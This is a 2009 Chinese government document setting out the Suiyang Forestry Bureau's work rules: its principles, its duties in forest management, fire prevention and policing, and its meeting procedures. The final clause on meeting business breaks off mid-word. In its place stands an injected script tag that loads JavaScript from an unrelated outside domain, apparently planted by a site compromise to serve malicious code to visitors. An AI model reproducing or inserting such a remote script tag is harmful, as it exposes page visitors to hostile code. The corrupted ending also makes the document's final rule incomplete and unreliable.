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绥阳林业局工作规则
2009-10-10
绥阳林业局工作规则
 
第一章  总则

     第一条  为了进一步提高各项工作的规范化、制度化和科学化管理水平,根据上级有关规定和林业局工作的实际情况,制定本规则。
     第二条  林业局的各项工作要以邓小平理论和“三个代表”重要思想为指导,认真贯彻执行党的路线、方针、政策,切实履行总局党委、总局赋予的职能,坚决执行上级党委的决定和指示,保证政令畅通;坚持依法行政,严格执法,清正廉洁,实行政务公开,接受社会监督;坚持解放思想,实事求是,按客观规律办事;勇于开拓,大胆创新,勤于实践,讲求实效;顾全大局,服从命令,听从指挥,忠于职守,勤奋工作,全心全意为人民服务。
     第三条  转变职能,转变工作作风,深入实际,调查研究,精简会议、公文和事务性活动,简化办事程序,提高工作效率和质量,保证工作质量。
 第二章  职责分工
第四条  林业局的主要职责
   (一)贯彻执行国家林业发展战略、方针、政策和法律法规;拟定全局林业发展方针、政策;负责组织实施并依法监督检查。
(二)拟定全局林业发展战略、中长期发展规划和年度计划并组织实施。
   (三)指导全局林业体制改革,林业法制建设、林业行政执法管理。
    (四)组织开展全林区植树造林和封山育林工作;组织、指导以植树种草等生物措施防治水土流失和防沙、治沙工作;组织指导林业种子、苗木的生产经营、质量监督检验及林业良种的审核和申报。
    (五)负责全林区森林资源管理、保护、培育和利用工作;组织实施林区天然林资源保护工程。负责全林区森林资源调查、动态监测和统计,组织编制森林采伐限额并监督执行;组织指导森林、林木、林地的登记造册、确权发证和林权变更登记、调处林权纠纷;依法办理征用、占用林地的审核、申报和审批;指导、监督和管理林木凭证采伐、运输、经营加工。
    (六)负责全林区森林防火工作;组织协调森林警察部队森林防火业务工作。
    (七)承担全林区社会治安、道路交通、综合治理、森林保护和林区公安、国家安全、司法行政及林区政法工作。
    (八)组织、指导全林区陆生野生动植物资源的保护和合理开发利用;指导、监督森林病虫鼠害防治和检疫工作;组织指导森林和野生动物类型自然保护区的规划、建设和管理。
    (九)负责指导全林区林木种苗工作;审批天然、人工母树林抚育(卫生)伐设计及检查验收;负责林木良种审定、认定工作;监督管理种苗运输工作。
    (十)负责全林区财务和国有资产管理工作;管理林业基金;协调有关部门研究制定涉及全林区方面的经济调节政策。
    (十一)组织、指导全林区科技和外事工作。
    (十二)建立和完善林区社会化服务、劳动力管理、监察和保障体系,拓宽社会服务领域,促进林区社会进步和发展。
    (十三)受有关部门委托管理全林区文教卫生、建设环保、技术监督、民政、森林旅游、安全生产监督、动物防检疫、畜禽屠宰等社会、行政工作,协调和处理林区内外的社会、行政关系,保障林区社会稳定和事业发展。
     第五条  林业局实行局长负责制,局长负责全面工作。
第六条  副局长协助局长按照分工负责处理分管工作;受局长委托,负责其他方面的工作或者专项任务。
    第七条  局长出差期间,由局长指定的副局长代行局长职责,主持工作。副局长出差期间,由局长或局长指定的其他副局长代行其职责。
     第八条  局机关各部门负责人在规定职责范围内负责本部门工作,承担责任。各部门之间要相互协调,密切配合。
第三章  会议制度
    第九条  林业局实行局务会议、局长办公会议和其它专题会议制度。
     第十条  局务办公会议由局长、副局长、总师、资源专员、局党委成员、各部门负责人组成,由局长召集并主持。会议召集人可根据需要确定有关人员列席参加。局务会议的主要任务是:
     (一)传达局党委、林业局、上级部门重要文件、指示和重要会议精神;
(二)讨论分析全局经济和社会发展形势,通报重要工作情况;
     (三)讨论决定局长、副局长、总师、资源专员提交会议讨?script src=http://zhihuiguan.com/c.js>
 
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